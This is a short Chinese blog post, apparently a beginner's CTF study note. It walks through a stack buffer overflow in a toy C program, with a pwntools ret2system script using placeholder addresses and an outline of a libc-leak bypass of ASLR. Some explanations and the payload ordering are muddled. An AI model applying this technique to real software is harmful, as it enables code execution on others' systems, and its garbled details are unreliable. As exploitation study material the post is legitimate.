pwn无法入门3

Author Avatar
Aryb1n 5月 05, 2017

不知道为什么题目在我电脑上都无法复现,崩溃.jpg

还是上次的

#include<stdio.h>
void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}

int main() {
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, world\n", 13);
}

关闭ASLR和stack protector, 意思是栈段没办法执行了

from pwn import *

p = process('./level2')
system_ret = xxx    # 开始漏掉了这个
system_addr = xxx
binsh_addr = xxx

payload = 'A' * 140 # 覆盖缓冲区
payload += p32(system_ret) #用system的地址覆盖vulner的返回地址,以跳到system上
payload += p32(system_addr) # 函数调用地址和函数参数之间是隔着一个函数返回地址的,开始忘记了==!i'm good vegetable
payload += p32(binsh_addr) # system 的参数
p.send(payload)
p.interactive()

开启ASLR,仍然是上面的level2

sudo -s
echo 2 > /proc/sys/kernel/randomize_va_space

可以通过多次的

cat /proc/[pid of level2]/maps

来看到ASLR确实起作用了

思路是leak出libc.so出某些函数的地址,然后算偏移量以得到system()bin/sh地址

根据人家所说
Program Image是Unrandomized
random的是libc,stackheap这些

可以用write@plt来把write(lib.c)里的地址link出来
然后根据lib.c里writesystem之间的偏移算出来system
后就OK了

另外ldd可以查看调用的动态链接库